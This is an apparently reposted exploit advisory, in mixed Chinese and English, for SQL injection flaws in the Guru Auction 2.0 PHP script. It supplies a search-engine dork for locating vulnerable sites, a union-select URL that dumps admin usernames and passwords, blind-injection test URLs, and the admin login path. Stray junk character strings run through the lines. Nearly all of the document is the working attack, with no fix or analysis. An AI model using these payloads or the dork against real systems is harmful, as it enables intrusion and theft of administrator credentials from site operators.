Guru Auction 2.0多重sql注射

admin

Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
$ y1 C! ?& m' s" h, F+ A" J. x
/ V8 j0 E( e2 E" p, B3 o- m6 A作者     : v3n0m
9 W) c8 A/ B/ K+ ^应用 : Guru Auction 2.0
6 L2 |1 Q+ h0 [Price       : $49
' J( o6 N: u( q% w  D1 U) PVendor      : http://www.guruscript.com/
0 P+ r/ ?& Y* |5 i8 H# ]Google Dork : inurl:subcat.php?cate_id=

SQLi p0c:
~~~~~~~~~~
$ @, }& a6 y, ~! v  ]http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--

3 m& ?6 ?0 y5 n  v
* t; k% p7 J  F+ u5 }5 g盲注 p0c:
~~~~~~~~~~
3 O7 Z0 r8 a6 ~( ~% i% @http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
8 O0 k. \7 x* d
管理登录入口:
0 M) u1 P0 q- U- T4 n; _~~~~~~~~~~
, B* M* f+ u3 J( [7 p& }http://domain.tld/[path]/admin/
& X+ `! Z- `- z+ E/ ]